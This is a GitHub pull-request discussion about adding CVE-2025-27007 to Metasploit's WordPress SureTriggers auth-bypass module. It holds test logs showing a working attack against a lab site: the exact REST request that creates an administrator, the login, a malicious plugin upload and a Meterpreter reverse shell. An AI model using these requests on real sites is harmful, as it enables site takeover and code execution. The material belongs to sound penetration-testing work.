-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add CVE-2025-27007 in existing exploit(multi/http/wp_suretriggers_auth_bypass) module
#20187
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
…th_bypass)` module
|
I don't think I'm in favor of adding this to the existing module. Primarily, since this affects different versions, the @jheysel-r7 did a quick printout to the user to use the priv esc after successfully exploiting: metasploit-framework/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb Line 230 in dda4cb9
There, we just dropped a command to run the priv esc after the remote exploit. |
Hey, I totally get the intent behind splitting modules, but personally it feels pretty annoying to switch between multiple modules when the workflows are almost identical. Take the CyberPanel pre-auth RCE module as an example, it bundles three distinct CVEs (2024-51567, 2024-51568, 2024-51378) into one clean, multi-action exploit without any confusion or extra maintenance overhead. You can see it here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb. The SureTriggers module follows the same pattern: the |
Totally get it, and I understand. It is annoying, and I wish there were a clean way to chain exploits- no argument there.
Am I missing something, then? In CyberPanel, you're using the exploit to check for the specific CVE vulnerability and only return |
|
Hi @bwatters-r7, I realize my CyberPanel example may have been confusing, it was only meant to illustrate bundling multiple CVEs. Given how this module is structured, I think leveraging |
documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md
Outdated
Show resolved
Hide resolved
|
|
Hmmm, because it's another User-Agent: public function create_wp_connection( $request ) {
$user_agent = $request->get_header( 'user-agent' );
if ( 'SureTriggers' !== $user_agent ) {
return new WP_REST_Response(
[
'success' => false,
'data' => 'Unauthorized',
],
403
);
}
..........
}I have to see in which version it changed Test: msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-27007
[*] Resetting access key
[+] Access key reset successful
[+] Admin created: stacey:xX3aP1y03BjZMgT
[*] Uploading malicious plugin for code execution...
[*] Executing payload at /wp-content/plugins/wp_fuktn/ajax_tywzg.php...
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_tywzg.php
[+] Deleted wp_fuktn.php
[+] Deleted ../wp_fuktn
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:53528) at 2025-05-22 23:27:37 +0200
meterpreter > sysinfo
Computer : 396e678f2510
OS : Linux 396e678f2510 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
Meterpreter : php/linux |
de634e9 to
9e1d002
Compare
|
Still failing for me, but for different reasons? |
Hi, got the same issue today, I think it's it's not the exploit, to fix this I had to go to the admin panel, and reinstall the plugin, I'm not sure what happened actually. Let me know if it's still failing or not. Test[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-3102
####################
# Request:
####################
POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
St-Authorization: Bearer
Content-Type: application/json
Content-Length: 238
{"integration":"WordPress","type_event":"create_user_if_not_exists","selected_options":{"user_name":"nzeoinronfernfreoif","password":"ihfnrenrenferure","user_email":"[email protected]","role":"administrator"},"fields":[],"context":{}}
####################
# Response:
####################
HTTP/1.1 404 Not Found
Date: Wed, 28 May 2025 15:32:46 GMT
Server: Apache/2.4.62 (Debian)
Content-Length: 267
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at lab Port 5555</address>
</body></html>
####################
# Request:
####################
POST /?rest_route=/sure-triggers/v1/automation/action HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
St-Authorization: Bearer
Content-Type: application/json
Content-Length: 238
{"integration":"WordPress","type_event":"create_user_if_not_exists","selected_options":{"user_name":"nzeoinronfernfreoif","password":"ihfnrenrenferure","user_email":"[email protected]","role":"administrator"},"fields":[],"context":{}}
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Wed, 28 May 2025 15:32:46 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.28
X-Robots-Tag: noindex
Link: <http://lab:5555/index.php?rest_route=/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: POST
Content-Length: 1748
Content-Type: application/json; charset=UTF-8
{"success":true,"data":{"result":{"data":{"ID":"3","user_login":"nzeoinronfernfreoif","user_nicename":"nzeoinronfernfreoif","user_email":"[email protected]","user_url":"","user_registered":"2025-05-28 15:32:46","user_activation_key":"","user_status":"0","display_name":"nzeoinronfernfreoif"},"ID":3,"caps":{"administrator":true},"cap_key":"wp_capabilities","roles":["administrator"],"allcaps":{"switch_themes":true,"edit_themes":true,"activate_plugins":true,"edit_plugins":true,"edit_users":true,"edit_files":true,"manage_options":true,"moderate_comments":true,"manage_categories":true,"manage_links":true,"upload_files":true,"import":true,"unfiltered_html":true,"edit_posts":true,"edit_others_posts":true,"edit_published_posts":true,"publish_posts":true,"edit_pages":true,"read":true,"level_10":true,"level_9":true,"level_8":true,"level_7":true,"level_6":true,"level_5":true,"level_4":true,"level_3":true,"level_2":true,"level_1":true,"level_0":true,"edit_others_pages":true,"edit_published_pages":true,"publish_pages":true,"delete_pages":true,"delete_others_pages":true,"delete_published_pages":true,"delete_posts":true,"delete_others_posts":true,"delete_published_posts":true,"delete_private_posts":true,"edit_private_posts":true,"read_private_posts":true,"delete_private_pages":true,"edit_private_pages":true,"read_private_pages":true,"delete_users":true,"create_users":true,"unfiltered_upload":true,"edit_dashboard":true,"update_plugins":true,"delete_plugins":true,"install_plugins":true,"update_themes":true,"install_themes":true,"update_core":true,"list_users":true,"remove_users":true,"promote_users":true,"edit_theme_options":true,"delete_themes":true,"export":true,"administrator":true},"filter":null,"\u0000WP_User\u0000site_id":1}}}
[+] Admin created: nzeoinronfernfreoif:ihfnrenrenferure
####################
# Request:
####################
POST /wp-login.php HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
log=nzeoinronfernfreoif&pwd=ihfnrenrenferure&redirect_to=/oYvfXUmC&wp-submit=Login
####################
# Response:
####################
HTTP/1.1 302 Found
Date: Wed, 28 May 2025 15:32:46 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.28
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; HttpOnly, wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; path=/wp-content/plugins; HttpOnly, wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; path=/wp-admin; HttpOnly, wordpress_logged_in_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7C6f490708f78500a443157aa0707313a942bcf39d51fc990d829ecc6048cf153c; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
X-Redirect-By: WordPress
Location: /oYvfXUmC
Content-Length: 0
Content-Type: text/html; charset=UTF-8
[*] Uploading malicious plugin for code execution...
####################
# Request:
####################
GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1
Host: lab:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; wordpress_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7Cbd1e206a6750969cb56782e81d978d1796f1f8f8995f81cb4035a2bb20df7552; wordpress_logged_in_aa28c33372fe6474c24b56efe4ddc6cd=nzeoinronfernfreoif%7C1748619167%7C5lJuBugmkZDUzAsCSw4fTva2HxPTMyWGOaOUgaSNr8i%7C6f490708f78500a443157aa0707313a942bcf39d51fc990d829ecc6048cf153c;
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Wed, 28 May 2025 15:32:47 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.28
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Set-Cookie: wp-settings-3=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/, wp-settings-time-3=1748446368; expires=Thu, 28 May 2026 15:32:48 GMT; Max-Age=31536000; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html class="wp-toolbar"
lang="fr-FR">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Ajouter des extensions ‹ Exploit Market — WordPress</title>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
var ajaxurl = '/wp-admin/admin-ajax.php',
pagenow = 'plugin-install',
typenow = '',
adminpage = 'plugin-install-php',
thousandsSeparator = ' ',
decimalPoint = ',',
isRtl = 0;
</script>
<link rel='stylesheet' href='http://lab:5555/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,buttons,wp-auth-check&ver=6.8.1' media='all' />
<style>
@media print { #wpadminbar { display:none; } }
</style>
<link rel='stylesheet' id='thickbox-css' href='http://lab:5555/wp-includes/js/thickbox/thickbox.css?ver=6.8.1' media='all' />
<style id='wp-emoji-styles-inline-css'>
img.wp-smiley, img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<style class='wp-fonts-local'>
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
</style>
<style class='wp-fonts-local'>
@font-face{font-family:Beiruti;font-style:normal;font-weight:200 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:italic;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:normal;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2') format('woff2');}
